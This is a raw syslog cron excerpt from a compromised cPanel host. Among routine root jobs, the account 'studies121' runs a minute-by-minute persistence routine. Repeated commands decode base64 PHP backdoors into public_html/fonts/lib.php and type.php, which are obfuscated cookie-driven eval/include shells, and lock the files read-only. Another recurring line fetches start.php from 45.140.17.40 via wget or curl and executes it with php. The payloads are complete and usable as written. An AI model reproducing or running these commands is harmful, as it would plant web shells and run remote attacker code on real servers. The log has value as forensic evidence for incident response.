Sep  6 04:35:01 ip-184-168-122-23 CROND[12317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:35:01 ip-184-168-122-23 CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:35:01 ip-184-168-122-23 CROND[12320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:35:01 ip-184-168-122-23 CROND[12323]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 04:36:01 ip-184-168-122-23 CROND[12456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:36:01 ip-184-168-122-23 CROND[12453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:36:01 ip-184-168-122-23 CROND[12454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:36:01 ip-184-168-122-23 CROND[12455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:36:01 ip-184-168-122-23 CROND[12457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:37:01 ip-184-168-122-23 CROND[12548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:37:01 ip-184-168-122-23 CROND[12549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:37:01 ip-184-168-122-23 CROND[12550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:37:01 ip-184-168-122-23 CROND[12552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:38:02 ip-184-168-122-23 CROND[12708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:38:02 ip-184-168-122-23 CROND[12709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:38:02 ip-184-168-122-23 CROND[12711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:38:02 ip-184-168-122-23 CROND[12712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:38:02 ip-184-168-122-23 CROND[12710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:38:02 ip-184-168-122-23 CROND[12713]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  6 04:39:02 ip-184-168-122-23 CROND[12855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:39:02 ip-184-168-122-23 CROND[12860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:39:02 ip-184-168-122-23 CROND[12859]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 04:39:02 ip-184-168-122-23 CROND[12861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:39:02 ip-184-168-122-23 CROND[12862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:40:01 ip-184-168-122-23 CROND[12968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:40:01 ip-184-168-122-23 CROND[12967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:40:02 ip-184-168-122-23 CROND[12971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:40:02 ip-184-168-122-23 CROND[12973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:40:02 ip-184-168-122-23 CROND[12974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:40:02 ip-184-168-122-23 CROND[12975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:40:02 ip-184-168-122-23 CROND[12976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:40:02 ip-184-168-122-23 CROND[12978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:41:01 ip-184-168-122-23 CROND[13081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:41:01 ip-184-168-122-23 CROND[13082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:41:01 ip-184-168-122-23 CROND[13083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:41:01 ip-184-168-122-23 CROND[13084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:42:01 ip-184-168-122-23 CROND[13177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:42:01 ip-184-168-122-23 CROND[13179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:42:01 ip-184-168-122-23 CROND[13180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:42:01 ip-184-168-122-23 CROND[13182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:42:01 ip-184-168-122-23 CROND[13181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:43:01 ip-184-168-122-23 CROND[13279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:43:01 ip-184-168-122-23 CROND[13281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:43:01 ip-184-168-122-23 CROND[13283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:43:01 ip-184-168-122-23 CROND[13282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:44:01 ip-184-168-122-23 CROND[13363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:44:01 ip-184-168-122-23 CROND[13365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:44:01 ip-184-168-122-23 CROND[13368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:44:01 ip-184-168-122-23 CROND[13366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:44:01 ip-184-168-122-23 CROND[13367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:45:01 ip-184-168-122-23 CROND[13541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:45:01 ip-184-168-122-23 CROND[13545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:45:01 ip-184-168-122-23 CROND[13544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:45:01 ip-184-168-122-23 CROND[13546]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  6 04:45:01 ip-184-168-122-23 CROND[13543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:45:01 ip-184-168-122-23 CROND[13547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:45:01 ip-184-168-122-23 CROND[13548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:46:01 ip-184-168-122-23 CROND[13659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:46:01 ip-184-168-122-23 CROND[13660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:46:02 ip-184-168-122-23 CROND[13662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:46:02 ip-184-168-122-23 CROND[13664]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 04:46:02 ip-184-168-122-23 CROND[13665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:46:02 ip-184-168-122-23 CROND[13668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:46:02 ip-184-168-122-23 CROND[13669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:47:01 ip-184-168-122-23 CROND[13810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
